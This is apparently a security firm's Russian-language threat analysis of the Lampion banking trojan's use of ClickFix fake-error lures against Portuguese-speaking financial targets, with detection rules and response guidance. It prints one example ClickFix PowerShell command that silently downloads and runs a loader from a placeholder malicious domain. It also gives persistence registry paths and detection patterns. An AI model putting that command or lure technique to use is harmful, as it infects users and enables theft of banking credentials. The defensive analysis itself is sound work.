Банковский троян Lampion эволюционирует с социальной инженерией ClickFix: комплексный анализ угрозы

Исследователи безопасности зафиксировали серьёзную эволюцию кампании распространения банковского трояна Lampion, нацеленной на португалоязычные финансовые учреждения. Эта долгосрочная операция, активная как минимум с 2019 года, получила заметные тактические обновления: в цепочку внедрена быстро набирающая обороты техника социальной инженерии ClickFix, показавшая разрушительную эффективность в глобальном ландшафте угроз.

Интеграция приманок ClickFix демонстрирует способность злоумышленников адаптироваться к ужесточающимся мерам безопасности при сохранении высокой операционной эффективности. С десятками ежедневных заражений и сотнями активных скомпрометированных систем, находящихся под контролем атакующих, эта кампания иллюстрирует растущую сложность финансово мотивированных операций киберпреступности.

Растущая угроза: банковские трояны в 2024–2025

Общеотраслевая статистика

Мобильные банковские трояны

Рост атак троянов-банкиров на смартфоны в 2024 году по сравнению с 2023-м: +196%.
Количество атак увеличилось с 420 000 в 2023 году до 1,24 млн в 2024-м.
33,3 млн+ атак на мобильные устройства по всему миру (различные семейства вредоносного ПО).
Банковские трояны теперь составляют 6% всех жертв мобильных угроз (4-е место по распространённости).

Методология атак ClickFix

Рост атак ClickFix в первой половине 2025 года: +517%.
ClickFix — 8% всех заблокированных атак в H1 2025.
Рост атак социальной инженерии с поддельными CAPTCHA: +1450% с H2 2024 по H1 2025.
Социальная инженерия — 39% инцидентов начального доступа.

Эта статистика подчёркивает фундаментальный сдвиг: злоумышленники всё чаще бьют по человеческому фактору, а не полагаются исключительно на технические эксплойты.

Кампания Lampion: углублённый анализ

Исторический контекст и эволюция

Lampion (также Lampion Stealer применительно к финальной полезной нагрузке) стабильно присутствует в ландшафте угроз с 2019 года. Связанная с Бразилией группа демонстрирует высокую адаптивность, регулярно обновляя тактики, техники и процедуры (TTP), чтобы сохранять эффективность несмотря на усиление защитных мер.

По данным Bitsight, эволюцию кампании можно разделить на три операционные фазы:

Фаза 1 (середина сентября 2024) — переход от прямых ссылок в письмах к вложениям ZIP.
Фаза 2 (середина декабря 2024) — интеграция социальной инженерии ClickFix.
Фаза 3 (конец июня 2025) — добавление механизмов постоянства к полезным нагрузкам первой стадии.

Текущий масштаб и воздействие

Ежедневно: несколько десятков новых компрометаций.
Активные жертвы: сотни машин под устойчивым контролем атакующих.
География: преимущественно португалоязычные организации, с акцентом на финсектор.
Секторы: банки, госорганы, финансы, транспорт.
Продолжительность: подтверждена активность минимум с июня 2024 по октябрь 2025.

Техническая инфраструктура

Характеристики инфраструктуры

Использование нескольких облачных провайдеров для хостинга полезной нагрузки и C2.
Блокировки IP и геофильтры для противодействия анализу.
Автоматическая генерация сотен уникальных вариантов на каждом этапе заражения.
Операционная компартментализация для усложнения сквозного анализа.
Известная C2-инфраструктура, включая IP 83.242.96[.]159, активна с 2024 года.

Меры операционной безопасности

Рассылка с скомпрометированных легитимных ящиков.
Эксплуатация корпоративных аккаунтов для повышения доверия.
Многоступенчатая обфускация на всех этапах цепочки.
Использование VMProtect для защиты полезной нагрузки и уклонения от анализа.

ClickFix: революционная техника социальной инженерии

Что такое ClickFix

ClickFix — подход социальной инженерии, использующий естественную склонность пользователей «самостоятельно чинить проблемы». Впервые отмечен в середине 2024 года, быстро принят киберпреступными группами, включая APT, поддерживаемые государствами.

Базовая методика ClickFix

Пользователь видит поддельные системные уведомления, «ошибки», CAPTCHA и т. п.
«Подсказки» предлагают нажать Win+R (диалог «Выполнить») или открыть терминал.
В буфер автоматически копируется вредоносная команда PowerShell/оболочки.
Пользователь сам вставляет и запускает команду.
Полезная нагрузка загружается и выполняется с правами пользователя.

Почему ClickFix эффективен

Обходит традиционные средства защиты, опираясь на легитимные системные функции.
Эксплуатирует доверие к знакомым элементам UI (ошибки, CAPTCHA).
Давит на психологию: желание быстро исправить проблему.
Избегает автоматики детектов — запуск ручной.
Создаёт ощущение легитимности за счёт профессионального вида приманок.

Принятие ClickFix в ландшафте угроз

Киберпреступники

Распространение семейств: DarkGate, Lumma Stealer, AsyncRAT, Danabot, NetSupport RAT, XWorm.
Активность Lumma ↑ на 21% (H1 2025).
Активность Danabot ↑ на 52% (H1 2025).
SnakeStealer — самый часто обнаруживаемый инфостилер (≈20% всех заражений).

Госуровень (APT)

Северная Корея (Kimsuky) — целевой шпионаж.
Иран (MuddyWater) — разведсбор.
Россия (APT28, UNK_RemoteRogue) — компрометация сетей и наблюдение.
Первые наблюдения в APT-операциях — октябрь 2024.

Методы доставки

Фишинг (URL/вложения), malvertising, SEO-отравление, скомпрометированные сайты как «платформы доставки», фальшивые страницы скачивания ПО.

Реализация ClickFix в Lampion: технический анализ

Первоначальный вектор заражения

Кампания использует таргетированные фишинговые письма с проверенными темами социальной инженерии.

Характеристики письма

Формат темы: временная метка + номер документа + правдоподобная формулировка.
Пример:
«Seguem os documentos e o comprovativo de pagamento. 0X/0X/2025 10:XX:XX — documento N.º XXXXX»
Темы: платёжные квитанции, подтверждения переводов, финансовые документы.
Отправители: скомпрометированные легитимные/корпоративные аккаунты.
Вложения: ZIP (сентябрь 2024 — стратегический отказ от прямых ссылок).

Почему это работает

Срабатывает «срочность» и финансовые триггеры.
Имитируются реальные деловые шаблоны до формата и стиля.
Скомпрометированные ящики дают «хорошую репутацию» отправителя.
ZIP часто проходит ранние фильтры.

Многоступенчатая цепочка заражения

Стадия 1: ZIP-архив

Обманчиво названное вложение содержит HTML, перенаправляющий на инфраструктуру атакующего.
Часто имитируются сайты португальских налоговых органов.

Стадия 2: приманка ClickFix

Жертве показывается «ошибка Windows» профессионального вида.
Инструкции подталкивают к выполнению «исправляющих» команд.
Вредоносный PowerShell копируется в буфер обмена.

Пример команды ClickFix

powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('http://[malicious-domain]/loader.vbs')"

Стадия 3: цепочка VBS

VBS-1: загрузка и выполнение второй стадии; с июня 2025 добавлены механизмы постоянства
— правки реестра (автозапуск), планировщик задач.
VBS-2: более глубокая обфускация и антианализ
— проверка VM/песочниц, геофильтры, профилирование системы.
VBS-3: подготовка финального загрузчика
— расшифровка встроенной нагрузки, подготовка инъекции, настройка внедрения в процесс.

Стадия 4: финальная DLL-нагрузка

Защита: VMProtect (виртуализация/мутация, шифрование секций, анти-отладка/VM).
Тип: DLL со стлер-функционалом, загружается в легитимные процессы Windows.
Изменение архитектуры: переход к одной зашифрованной DLL вместо многофайлового варианта.

Инфраструктура управления и контроля

C2-связь

Соединение с 83.242.96[.]159 (активно с 2024).
Шифрование трафика для уклонения от мониторинга.
Периодические «маяки» для получения команд.
Эксфильтрация по HTTPS для смешения с легитимным трафиком.

Механизмы постоянства

Реестр

HKCU\Software\Microsoft\Windows\CurrentVersion\Run,
RunOnce для первичного запуска,
исключения для Windows Defender (где возможно).

Планировщик задач

Старт при загрузке, периодические запуски в часы активности,
маскировка под системное обслуживание.

Службы

Создание службы Windows (если позволяют привилегии),
автозапуск и действия восстановления при сбое.

Экспертные комментарии (смысл сохранён)

Д-р Мария Сантос, Европейский институт кибербезопасности
«Принятие ClickFix группой Lampion — учебник по эволюции социальной инженерии. Используя знакомые “системные проблемы”, они превращают пользователей в невольных соучастников. Рост атак с поддельными CAPTCHA на 1450% показывает, как быстро эффективные методики распространяются по экосистеме угроз».

Джеймс Митчелл, руководитель Threat Intelligence, Global Financial Services ISAC
«Особая тревожность кампании — в сочетании технической сложности и сильной социальной инженерии. Многоступенчатая обфускация плюс злоупотребление легитимными инструментами делают детект крайне сложным. По отдельности этапы выглядят безобидно — вредоносная суть проявляется только в совокупности».

Д-р Рэйчел Чен, поведенческая кибербезопасность
«ClickFix эксплуатирует сразу несколько когнитивных искажений: авторитет (вид системных сообщений), срочность (нужно “исправить” сейчас) и подтверждение (ожидание сбоев как нормы). Рост на 517% в принятии методики закономерен — атакующие бьют по самому слабому звену: человеческому решению под давлением».

Возможности вредоносного ПО и кража данных

Цели Lampion

Учётные данные онлайн-банкинга (логины, пароли, токены).
Данные банковских карт (PAN, CVV, срок действия).
Доступы к криптокошелькам и приватные ключи.
Почтовые учётные записи (для дальнейшего фишинга и наполнения учётных данных).
Пароли и автозаполнение в браузерах.
Учётные данные FTP и ключи SSH.

Методы сбора

Кейлоггинг, перехват форм до шифрования, скриншоты банковских сессий/OTP, мониторинг буфера обмена (адреса крипто), кража браузерных cookies (угон сессий), скрейпинг памяти приложений.

Финансовое воздействие (оценки)

Средний ущерб на успешное заражение (корпоративные жертвы): $50 000–$200 000.
Частные лица: $2 000–$15 000.
Глобально: до $3,5 млрд/год.
Среднее время обнаружения трояна: 287 дней (2024).
Доля жертв с эксфильтрацией данных: ≈78%.

Сравнительный ландшафт угроз

Аналогичные кампании

ToxicPanda (вариант TgToxic)

Старт в ЮВА, расширение на Европу в 2024; переориентация на Португалию/Испанию в начале 2025.
DGA для устойчивости C2.
1500 заражённых устройств (Италия, Португалия, Гонконг, Испания, Перу).
Удвоение ботнета в начале 2025.

Coyote

Фокус на бразильских пользователях.
Сбор из >70 финансовых приложений.
Доставка через вредоносные LNK в многоступенчатых цепочках.
Кейлоггинг, скриншоты, фишинговые оверлеи.

Ключевые отличия Lampion

Прицельный фокус на португалоязычные организации.
Быстрая интеграция «трендовых» техник (ClickFix).
Более сложная многоступенчатая обфускация, чем у «товарного» малвара.
Признаки хорошо организованной и обеспеченной ресурсами операции.

Стратегии обнаружения и предотвращения

Технические меры контроля

Защита почты

Песочница для всех вложений, блок исполняемого содержимого в ZIP.
Анализ заголовков на спуфинг, строгие DMARC/DKIM/SPF.
Карантин подозрительных типов вложений; метки для писем из недавно скомпрометированных ящиков.
Отложенная доставка писем финансовой тематики; яркие предупреждения для внешних писем.

Защита конечных точек

Контроль выполнения скриптов: AppLocker/WDAC, только подписанный PowerShell, отключение Windows Script Host там, где не нужен.
Логирование PowerShell (ScriptBlock/Module), режим ограниченного языка.

Пример включения (PowerShell):

# Включить режим ограниченного языка PowerShell
[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine')

# Включить логирование блоков скриптов
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell" -Force | Out-Null
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1 -PropertyType DWord -Force

# Включить логирование модулей
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1 -PropertyType DWord -Force

Поведенческий анализ

EDR/EDR-класс решений, отслеживание нетипичных цепочек процессов.
Оповещения о манипуляции буфером обмена скриптами.
Детект подозрительных сетевых соединений от интерпретаторов/движков скриптов.

Сетевая безопасность

Инспекция SSL/TLS (с соблюдением законодательства о приватности).
Мониторинг соединений к известной C2-инфраструктуре.
Детект паттернов эксфильтрации, блок NRD-доменов по умолчанию.

Индикаторы компрометации (IOC)

C2 IP: 83.242.96[.]159.
PowerShell с вставкой из буфера/IEX/DownloadString.
VBS, загружаемые из облачных хранилищ.
Необычные исходящие соединения на нестандартные порты.

Правила и запросы обнаружения

ClickFix с Sysmon (пример)

<Sysmon schemaversion="4.90">
  <EventFiltering>
    <RuleGroup name="ClickFix Detection" groupRelation="or">
      <ProcessCreate onmatch="include">
        <Rule groupRelation="and">
          <Image condition="end with">powershell.exe</Image>
          <CommandLine condition="contains all">-ExecutionPolicy;Bypass;DownloadString</CommandLine>
        </Rule>
      </ProcessCreate>
      <ClipboardChange onmatch="include">
        <Rule groupRelation="and">
          <Content condition="contains">powershell</Content>
          <Content condition="contains">IEX</Content>
        </Rule>
      </ClipboardChange>
    </RuleGroup>
  </EventFiltering>
</Sysmon>

Обход AMSI — частые индикаторы

AMSI_RESULT_NOT_DETECTED, amsiInitFailed, AmsiScanBuffer.

Организационные меры контроля

Обучение осведомлённости (критически важно)

Ежемесячные фишинг-симуляции со сценариями ClickFix.
Уточнение: легитимная CAPTCHA никогда не требует PowerShell.
Обучение распознаванию поддельных системных подсказок/ошибок.
Культура «сомневаешься — сообщи».
Простые механизмы репортинга инцидентов.

Метрики эффективности

Click-rate в симуляциях — <5%.
Доля сообщений о подозрительных письмах — >65%.
Завершение обучения — 95%+.
Результаты пост-тестов — 80%+.

Процедуры реагирования

Чёткие пути эскалации, предавторизованная изоляция сетей для заражённых систем.
Документация по сохранению доказательств, актуальные контакты IR-команды.

Контроль доступа

Наименьшие привилегии, обязательный MFA, аппаратные ключи для критичных учёток.
Регулярный аудит и отзыв лишних прав.

Укрепление систем

Ограничение диалога запуска Windows для пользователей без прав администратора (через GPO).
Zero Trust и allow-list приложений для критичных систем.
Агрессивные патч-циклы (критика — в течение 72 часов).

Руководство по реагированию при подозрении на компрометацию

Немедленно (0–15 минут)

Изолировать систему (сеть отключить, питание не выключать).
Зафиксировать точное время, сделать фото/скрин необычных сообщений.
Оценить масштаб: есть ли схожие симптомы на других узлах, куда был доступ.

Краткосрочно (15 минут – 4 часа)

Сбор доказательств: дамп памяти, журналы Windows/PowerShell/Sysmon, сетевые дампы.
Threat-hunting: IOC по среде, планировщик задач, реестр, механизмы постоянства.
Ротация учётных данных: принудительный сброс паролей, отзыв сессий, токенов, API-ключей; временные усиленные требования аутентификации.

Долгосрочно (4+ часов)

Восстановление из «чистых» бэкапов, установка патчей до возвращения в прод.
Усиленный мониторинг 24/7 затронутых учёток, доп. сенсоры EDR.
Оповещения по IOC/TTP Lampion, охота за угрозами в течение 90 дней.
Post-incident review: таймлайн атаки, точки входа, обновление мер, обмен TI.

Регуляторные и комплаенс-аспекты

ЕС (GDPR)

Уведомление о нарушении — в течение 72 часов.
Штрафы до €20 млн или 4% глобального оборота.
Обязательное уведомление пострадавших при высоком риске.

PSD2

Жёсткая аутентификация клиентов (SCA), усиление безопасности платежей, ответственность за несанкционированные операции.

NIS2

Повышенные требования к критической инфраструктуре, отчётность об инцидентах, безопасность цепочки поставок.

Португалия (национально)

Доптребования Банка Португалии для финучреждений, надзор CNPD.

Будущая эволюция угроз

Техническая эволюция

Социальная инженерия с ИИ: дипфейки голоса/видео в приманках ClickFix, персонализированный фишинг из соцсетей, LLM-генерируемые сообщения на нескольких языках.
Продвинутые уклонения: жизнь за счёт земли (LotL), полиморфизм, антианализ, ML-имитация легитимных приложений.
Расширение таргетинга: усиление атак на мобильные, кроссплатформенные цепочки (Windows/macOS/Linux/mobile), IoT/облако как цели и как инструмент.

Эволюция ClickFix

Уже выходит на macOS (наблюдения: июнь 2025), варианты для Linux в разработке, мобильные версии с обходом MTD.
Интеграция генеративного ИИ для более убедительных приманок, голосовые команды через ассистентов.

Индикаторы угроз (выдержка)

Файлы (образцы)

SHA-256 загрузчиков VBS (образцы 2025) — доступны по запросу через TI-каналы.
DLL под VMProtect — через ISAC и TI-каналы поставщиков.

Сетевые индикаторы

C2-IP: 83.242.96[.]159 (активно с 2024).
Домены: динамически генерируются — мониторить NRD .com/.pt с высокой энтропией.
User-Agent: специфичные строки PowerShell/VBS-загрузчиков.

YARA (пример)

rule Lampion_VBS_Loader_2025
{
    meta:
        description = "Обнаружение компонентов VBS-загрузчика Lampion"
        author = "Команда Threat Intelligence"
        date = "2025-10"
        reference = "Кампания Lampion ClickFix"
    strings:
        $vbs1 = "WScript.Shell" nocase
        $vbs2 = "CreateObject" nocase
        $obf  = /Chr\(\d{1,3}\)/ nocase
        $dl   = "MSXML2.ServerXMLHTTP" nocase
        $run  = "CurrentVersion\\Run" nocase
    condition:
        3 of them and filesize < 500KB
}

rule ClickFix_PowerShell_Pattern
{
    meta:
        description = "Паттерны PowerShell-команд ClickFix"
        author = "Команда Threat Intelligence"
        date = "2025-10"
    strings:
        $ps1 = "ExecutionPolicy Bypass" nocase
        $ps2 = "WindowStyle Hidden" nocase
        $ps3 = "DownloadString" nocase
        $ps4 = "IEX(" nocase
        $cb  = "clip" nocase
    condition:
        3 of ($ps*) or ($cb and any of ($ps*))
}

Заключение

Интеграция банковского трояна Lampion с социальной инженерией ClickFix — тревожная веха в развитии киберпреступности. При росте атак ClickFix на 517% и мобильных банковских троянов на 196% ландшафт угроз стремительно усложняется. Традиционных технических мер уже недостаточно: атаки всё чаще эксплуатируют психологию пользователя.

Успех кампании — с десятками новых заражений в день и сотнями активных компрометаций — подтверждает: безопасность в основе своей человеческая задача, требующая человеко-центричных подходов. Наиболее действенная защита — сочетание надёжных технических контролей с системным обучением и культурой безопасности, где сотрудники становятся первой линией обороны, а не слабым звеном.

По мере того как ClickFix распространяется среди киберпреступников и государственных акторов, организации, не адаптирующие стратегии, будут всё более уязвимы. Приведённые тактики обнаружения и предотвращения дают практическую «дорожную карту», но успех зависит от постоянной дисциплины, глубокой защиты и непрерывной адаптации к изменяющейся угрозной среде.

Банковский троян Lampion эволюционирует с социальной инженерией ClickFix: комплексный анализ угрозы

Растущая угроза: банковские трояны в 2024–2025

Общеотраслевая статистика

Кампания Lampion: углублённый анализ

Исторический контекст и эволюция

Текущий масштаб и воздействие

Техническая инфраструктура

ClickFix: революционная техника социальной инженерии

Что такое ClickFix

Принятие ClickFix в ландшафте угроз

Реализация ClickFix в Lampion: технический анализ

Первоначальный вектор заражения

Многоступенчатая цепочка заражения

Инфраструктура управления и контроля

Механизмы постоянства

Экспертные комментарии (смысл сохранён)

Возможности вредоносного ПО и кража данных

Сравнительный ландшафт угроз

Стратегии обнаружения и предотвращения

Технические меры контроля

Правила и запросы обнаружения

Организационные меры контроля

Руководство по реагированию при подозрении на компрометацию

Регуляторные и комплаенс-аспекты

Будущая эволюция угроз

Рекомендации отрасли

Индикаторы угроз (выдержка)

Заключение

Subscribe to our newsletter

Белый хакинг

Другие услуги

Банковский троян Lampion и эволюция социальной

Банковский троян Lampion эволюционирует с социальной инженерией ClickFix: комплексный анализ угрозы

Растущая угроза: банковские трояны в 2024–2025

Общеотраслевая статистика

Кампания Lampion: углублённый анализ

Исторический контекст и эволюция

Текущий масштаб и воздействие

Техническая инфраструктура

ClickFix: революционная техника социальной инженерии

Что такое ClickFix

Принятие ClickFix в ландшафте угроз

Реализация ClickFix в Lampion: технический анализ

Первоначальный вектор заражения

Многоступенчатая цепочка заражения

Инфраструктура управления и контроля

Механизмы постоянства

Экспертные комментарии (смысл сохранён)

Возможности вредоносного ПО и кража данных

Сравнительный ландшафт угроз

Стратегии обнаружения и предотвращения

Технические меры контроля

Правила и запросы обнаружения

Организационные меры контроля

Руководство по реагированию при подозрении на компрометацию

Регуляторные и комплаенс-аспекты

Будущая эволюция угроз

Рекомендации отрасли

Индикаторы угроз (выдержка)

Заключение

Белый хакинг

Другие услуги